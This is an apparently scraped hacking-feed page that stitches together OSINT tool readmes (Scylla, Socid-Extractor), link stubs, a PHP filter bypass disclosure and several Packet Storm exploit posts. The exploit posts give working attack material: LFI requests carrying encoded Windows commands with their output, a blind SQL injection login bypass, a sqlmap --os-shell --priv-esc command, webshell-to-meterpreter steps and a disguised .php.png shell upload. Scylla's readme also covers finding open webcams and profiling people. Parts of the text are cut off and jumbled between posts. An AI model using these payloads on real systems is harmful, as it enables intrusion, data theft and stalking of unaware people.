Kali Linux Tutorials
Scylla : The Simplistic Information Gathering Engine

Scylla is an OSINT tool developed in Python 3.6. Scylla lets users perform advanced searches on Instagram & Twitter accounts, websites/webservers, phone numbers, and names. Scylla also allows users to find all social media profiles (main platforms) assigned to a certain username. In continuation, Scylla has shodan support so you can search for devices all over the internet, it also has in-depth geolocation capabilities. Lastly, Scylla has a finance section which allows users to check if a credit/debit card number has been leaked/pasted in a breach and returns information on the cards IIN/BIN. This is the first version of the tool so please contact the developer if you want to help contribute and add more to Scylla. Installation* git clone https://www.github.com/DoubleThreatSecurity/Scylla* cd Scylla* sudo python3 -m pip install -r requirments.txt* python3 scylla.py --helpUsage* python3 scylla.py --instagram davesmith --twitter davesmithCommand 1 will return account information of that specified Instagram & Twitter account.
* python3 scylla.py --username johndoeCommand 2 will return all the social media (main platforms) profiles associated with that username.
* python3 scylla.py --username johndoe -l="john doe"Command 3 will repeat command 2 but instead it will also perform an in-depth google search for the “-l” argument. NOTE: When searching a query with spaces make sure you add the equal sign followed by the query in quotations. If your query does not have spaces, it will be as such: python3 scylla.py --username johndoe -l query* python3 scylla.py --info google.comCommand 4 will return crucial WHOIS information about the webserver/website.
* python3 scylla.py -r +14167777777Command 5 will dump information on that phone number (Carrier, Location, etc.)
* python3 scylla.py -s apacheCommand 6 will dump all the IP address of apache servers that shodan can grab based on your API key. The query can be anything that shodan can validate.
A Sample API key is given. I will recommend reading API NOTICE below, for more information.
* python3 scylla.py -s webcamxpCommand 7 will dump all the IP addresses and ports of open webcams on the internet that shodan can grab based on your API key. You can also just use the webcamquery but webcamxpreturns better results.
A Sample API key is given. I will recommend reading API NOTICE below, for more information.
* python3 scylla.py -g 1.1.1.1Command 8 will geolocate the specified IP address. It will return the longitude & latitude, city, state/province, country, zip/postal code region and the district.
* python3 scylla.py -c 123456789123456Command 9 will retrieve information on the IIN of the credit/debit card number entered. It will also check if the card number has been leaked/pasted in a breach. Scylla will return the card brand, card scheme, card type, currency, country, and information on the bank of that IIN. NOTE: Enter the full card number if you will like to see if it was leaked. If you just want to check data on the first 6-8 digits (a.k.a the BIN/IIN number) just input the first 6,7 or 8 digits of the credit/debit card number. Lastly, all this information generated is public because this is an OSINT tool, and no revealing details can be generated. This prevents malicous use of this option. Menuusage: scylla.py [-h] [-v] [-ig INSTAGRAM] [-tw TWITTER] [-u USERNAME]
[–info INFO] [-r REVERSE_PHONE_LOOKUP] [-l LOOKUP]
[-s SHODAN_QUERY] [-g GEO] [-c CARD_INFO]
optional arguments:
-h, –help show this help message and exit
-v, –version returns scyla’s version
-ig INSTAGRAM, –instagram INSTAGRAM
return the information associated with specified
instagram account
-tw TW[...]

___________________________
@hacking_Attack
@Hacking_Video

ITTER, –twitter TWITTER
return the information associated with specified
twitter account
-u USERNAME, –username USERNAME
find social media profiles (main platforms) associated
with given username
–info INFO return information about the specified website(WHOIS)
w/ geolocation
-r REVERSE_PHONE_LOOKUP, –reverse_phone_lookup REVERSE_PHONE_LOOKUP
return information about the specified phone number
(reverse lookup)
-l LOOKUP, –lookup LOOKUP
performs a google search of the 35 top items for the
argument given
-s SHODAN_QUERY, –shodan_query SHODAN_QUERY
performs a an in-depth shodan search on any simple
query (i.e, ‘webcamxp’, ‘voip’, ‘printer’, ‘apache’)
-g GEO, –geo GEO geolocates a given IP address. provides: longitude,
latitude, city, country, zipcode, district, etc.
-c CARD_INFO, –card_info CARD_INFO
check if the credit/debit card number has been pasted
in a breach…dumps sites. Also returns bank
information on the IIN API NOTICEThe API used for the reverse phone number lookup (free package) has maximum 250 requests. The one used in the program right now will most definetely run out of uses in the near future. If you want to keep generating API keys, go to https://www.numverify.com, and select the free plan after creating an account. Then simply go scylla.py and replace the original API key with your new API key found in your account dashboard. Insert your new key into the keys[] array (at the top of the source). For the Shodan API key, it is just a sample key given to the program. The developer recommends creating a shodan account and adding your own API key to the shodan_api[] array at the top of the source (scylla.py). Download

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Ethical Hacking

What is Ethical Hacking?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe: [Day 5] Web Exploitation Pesky Elf Forum

https://cdn-images-1.medium.com/max/1920/1*psaTaSfd9sQyajFeYTLO-w.png
What flag did you get when you disabled the plugin?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Chrome and Edge Under Hacker Attack

https://cdn-images-1.medium.com/max/1200/1*cNzLOE2ICnR9Nr6MsukXVQ.png
Chrome and Edge are vulnerable to a V8 type confusion vulnerability with an in-the-wild attack

Continue reading on DataDrivenInvestor »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Socid-Extractor - Extract Accounts Info From Personal Pages On Various Sites For OSINT Purpose

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnmd4b9iJb5LNWEFyCwR2gnAFva6gL5ht-JSSqRkFp45HBAkj70Fj3ixIt9Oi8xK0olDTx1J4SJboaWYwhTkjNWGtJAD4vrAEqOg5RKciNxYCwOPTQY2hPiUhRXvdM6YRjoaf4B0N_eVt5U6yrvTl9SZYBNqQ9hztwWtDkryRTaqQn_9CXk0-AtaN1/w640-h384/socid-extractor.png Extract information about a user from profile webpages / API responses and save it in machine-readable format. UsageAs a command-line tool: $ socid_extractor --url https://www.deviantart.com/muse1908
country: France
created_at: 2005-06-16 18:17:41
gender: female
username: Muse1908
website: www.patreon.com/musemercier
links: ['https://www.facebook.com/musemercier', 'https://www.instagram.com/muse.mercier/', 'https://www.patreon.com/musemercier']
tagline: Nothing worth having is easy... Without installing: $ ./run.py --url https://www.deviantart.com/muse1908 As a Python library: >>> import socid_extractor, requests
>>> r = requests.get('https://www.patreon.com/annetlovart')
>>> socid_extractor.extract(r.text)
{'patreon_id': '33913189', 'patreon_username': 'annetlovart', 'fullname': 'Annet Lovart', 'links': "['https://www.facebook.com/322598031832479', 'https://www.instagram.com/annet_lovart', 'https://twitter.com/annet_lovart', 'https://youtube.com/channel/UClDg4ntlOW_1j73zqSJxHHQ']"} Installation$ pip3 install socid-extractor The latest development version can be installed directly from GitHub: $ pip3 install -U git+https://github.com/soxoj/socid_extractor.git Sites and methodsMore than 100 methods for different sites and platforms are supported!

* Google (all documents pages, maps contributions), cookies required
* Yandex (disk, albums, znatoki, music, realty, collections), cookies required to prevent captcha blocks
* Mail.ru (my.mail.ru user mainpage, photo, video, games, communities)
* Facebook (user & group pages)
* VK.com (user page)
* OK.ru (user page)
* Instagram
* Reddit
* Medium
* Flickr
* Tumblr
* TikTok
* GitHub

...and many others.

You can also check tests file for data examples, schemes file to expore all the methods. When it may be useful* Getting all available info by the username or/and account UID. Examples: Week in OSINT, OSINTCurious
* Users tracking, checking that the account was previously known (by ID) even if all public info has changed. Examples: Aware Online
* Searching by commonly used cross-service UIDs (GAIA ID, Facebook UID, Yandex Public ID, etc.)
* DB leaks of forums and platforms in SQL format
* Indexed links that contain target profile ID

* Searching for tracking data by comparison with other IDs - how it works, how can it be used.
* Law enforcement online requests Tools using socid_extractorMaigret - powerful namechecker, generate a report with all available info from accounts found. TheScrapper - scrape emails, phone numbers and social media accounts from a website. YaSeeker - tool to gather all available information about Yandex account by login/email. Marple - scrape search engines results for a given username. Testingpython3 -m pytest tests/test_e2e.py -n 10 -k 'not cookies' -m 'not github_failed and not rate_limited'ContributingCheck separate page if you want to add a new methods of fix anything. Download Socid-Extractor

___________________________
@hacking_Attack
@Hacking_Video

ABC-Code Execution for Veeam - @MDSecLabs
https://www.reddit.com/r/redteamsec/comments/tr0u1t/abccode_execution_for_veeam_mdseclabs/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://www.mdsec.co.uk/2022/03/abc-code-execution-for-veeam/) [comments] (https://www.reddit.com/r/redteamsec/comments/tr0u1t/abccode_execution_for_veeam_mdseclabs/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
whatsapp be hacked with just a voice message?

My friend recieved a scam voice message from an unknown sender. She heard the voice message deleted and reported the chat now she's paranoid that her WhatsApp could be compromised. Can this happen?

submitted by /u/Secretacct4edu
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
PHP filter_var Bypass Patch

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
When the filter_var function is used in conjunction with the flags FILTER_VALIDATE_DOMAIN and FILTER_FLAG_HOSTNAME, there is a vulnerability in PHP that allows the filter to be bypassed. A patch has been included by the researcher as the PHP security team seems to have ignored this concern.

MD5 | 61136d35767f4ad61a626a2c83102bd2

Download
Hello!

When the filter_var function is used in conjunction with the flags FILTER_VALIDATE_DOMAIN and FILTER_FLAG_HOSTNAME, there is a vulnerability in PHP that allows the filter to be bypassed. This vulnerability could be used to introduce vulnerabilities into code that would otherwise be safe to use.

Due to the lack of response from the PHP security team, I have decided to make this vulnerability publicly available instead. Especially because I haven't received any updates despite numerous requests. Because of the ease with which the vulnerability can be exploited, I believe that the community has a right to be informed about it.

Please see my write-up on https://pwning.systems/posts/php_filter_var_shenanigans/ for more information on how to exploit this vulnerability.

Because the PHP security team has not yet patched this issue, I have attached my own one-liner patch that you can apply with the command 'git am $patchfile’.

PATCH:
```
From 9c064e66226c9da5b9c0170342ba516055a31be5 Mon Sep 17 00:00:00 2001
From: Jordy Zomer
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Message System 1.0 Local File Inclusion

https://2.bp.blogspot.com/-ZkI_NEmJcds/WWlvjl_lr_I/AAAAAAAAIQo/28S1w7dyZRc0PebCQs4RPEz7Silw5ZbpgCLcBGAs/s1600/h95.png
Message System version 1.0 suffers from a local file inclusion vulnerability.

MD5 | 4704af873c295b300cd774bd52beaaa6

Download
# Title: Message System 1.0 LFI To RCE
# Author: Hejap Zairy
# Date: 29.07.2022
# Vendor: https://www.sourcecodester.com/php/15249/message-system-phpoop-free-source-code.html
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/pmms_1.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code php
Needs more filtering require_once

```
require_once('config.php');
$page = isset($_GET['page']) ? $_GET['page'] : 'registration';
$page_name = explode("/",$page)[count(explode("/",$page)) -1];
```

[+] Payload GET
```
GET /pmms/registration?page=../../../0day&515=%74%79%70%65%20%43%3a%5c%30%64%61%79%5f%48%65%6a%61%70%5f%2e%74%78%74%20%26%26%20%64%69%72%20%43%3a%5c HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 354
Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg
Upgrade-Insecure-Requests: 1
```
#Status: CRITICAL

#Response
```

Hegap Zairy 0day Volume in drive C is OS
Volume Serial Number is 2EF1-9DCA

Directory of C:\

03/18/2022 10:27 AM Program Files
03/21/2022 01:45 PM Program Files (x86)
03/02/2022 11:04 PM Python27
03/26/2022 08:33 PM Temp
03/26/2022 08:45 PM Users

```
# Description:
Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server or execution file If converted rce
# Proof and Exploit:
https://i.imgur.com/jTqaEXn.png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Sports Complex Booking System 1.0 Local File Inclusion

https://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png
Sports Complex Booking System version 1.0 suffers from a local file inclusion vulnerability.

MD5 | e1771154c9789a23d886d6f8d354e1df

Download
# Title: Sports Complex Booking System 1.0 LFI To RCE
# Author: Hejap Zairy
# Date: 28.07.2022
# Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code php
Needs more filtering require_once

php```
----


----
```
[+] Payload GET
```
GET /scbs/?p=../../../0day&515=%64%69%72%20%43%3a%5c HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg
Upgrade-Insecure-Requests: 1
```
#Status: CRITICAL
#Response
```
HTTP/1.1 200 OK
Date: Sun, 28 Mar 2022 08:05:28 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
X-Powered-By: PHP/7.4.27
Content-Length: 17
Connection: close
Content-Type: text/html; charset=UTF-8`
Volume in drive C is OS
Volume Serial Number is 2EF1-9DCA

Directory of C:\

03/26/2022 08:51 PM 0day
03/26/2022 02:12 PM 19 0day.php
03/17/2022 06:06 AM 12,288 DumpStack.log
03/24/2022 07:14 PM Intel
10/31/2021 12:47 AM MinGW
10/31/2021 12:58 AM mingw32
05/12/2018 08:20 PM mingw64
10/31/2021 12:47 AM msys64
01/02/2022 09:28 AM pen
06/05/2021 03:10 PM PerfLogs
03/18/2022 10:27 AM Program Files
03/21/2022 01:45 PM Program Files (x86)
03/02/2022 11:04 PM Python27
01/30/2022 02:34 PM 474 t.txt
03/26/2022 08:33 PM Temp
03/26/2022 08:45 PM Users
```
# Description:
Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server or execution file If converted rce
# Proof and Exploit:
https://i.imgur.com/tUWZM0X.png
https://i.imgur.com/vrPCGTp.png
https://i.imgur.com/sMyZder.png


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Fingerprint Attendance 1.0 SQL Injection

https://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png
Fingerprint Attendance version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 7fca919d5f491a3255c76c496621dd08

Download
# Title: Fingerprint Attendance 1.0 Blind boolean SQLi To Rce
# Author: Hejap Zairy
# Date: 28.07.2022
# Vendor: https://www.vetbossel.in/fingerprint-attendance-project-php/
# Software: https://app.box.com/s/xlyqalhvayq8oi25tqykcbouzrrjytqy
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
# Steps
# 1.- Go to : https://0day.gov/fingerprint/login.php
# 2 - manual inject Blind SQli Payload: username=hejap' OR NOT 8425=8425#&password=hejap&button=Login
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell
# 5 - Web Shell to meterpreter full tty shell

#vulnerability Code php

---
```
$user = $_POST['username'];
$pass = sha1($_POST['password']);
$passwrong = false;

if(isSet($_POST["button"]))
switch($_POST["button"]){
case "Login" :
$passwrong = login($con, $user, $pass); //echo "Login";
break;
} // ----------------- Inside if(isSet($_POST["button"]))----------------

```
---
#Status: CRITICAL
[+] Payload GET

---

POST /fingerprint/src/ HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Origin: http://0day.gov
Connection: close
Referer: http://0day.gov/fingerprint/src/
Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg
Upgrade-Insecure-Requests: 1

username=hejap'+OR+NOT+8425=8425#&password=hejap&button=Login
---

```
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: username=hejap' OR NOT 8425=8425#&password=hejap&button=Login
---
```
#Blind SQLi Time to Rce
#ُExploit
sqlmap -r 0day_Hejap.txt -p username
' --hex --dbms=mysql --technique=b --random-agent --eta -D ad_39 -T login --dump --os-shell --priv-esc --forms --eta
# Description:
The Blind boolean SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc

# Proof and Exploit:
https://i.imgur.com/uYBA1C3.png
https://i.imgur.com/nQFdjNu.png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Message System 1.0 Shell Upload

https://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png
Message System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 1f992fe548cf80b5d771f43f1acc8bb7

Download
# Title: Message System 1.0 Shell Upload
# Author: Hejap Zairy
# Date: 29.07.2022
# Vendor: https://www.sourcecodester.com/php/15249/message-system-phpoop-free-source-code.html
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/pmms_1.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw
#vulnerability Code php
Needs more filtering to upload image files

```
if(isset($_FILES['image']) && $_FILES['image']['tmp_name'] != ''){
if(!is_dir(base_app."uploads/users"))
mkdir(base_app."uploads/users");
$fname = 'uploads/users/avatar-'.$uid.'.png';
$dir_path =base_app. $fname;
$upload = $_FILES['image']['tmp_name'];
$type = mime_content_type($upload);
$allowed = array('image/png','image/jpeg');
if(!in_array($type,$allowed)){
$resp['msg'].=" But Image failed to upload due to invalid file type.";
}else{
$new_height = 200;
$new_width = 200;
```
[+] Payload POST
```
POST /pmms/registration.php?id=1&firstname=Admin&middlename=admin&lastname=admin&gender=Male&dob=2022-03-30&username=Admin&password=Admin12345A%40%23&image=0day_Hejap.png HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jj352kdlpp0ib5lu0v5ddm199m
Upgrade-Insecure-Requests: 1

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="image"; filename="0day_hejap.png.php"
Content-Type: image/png


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video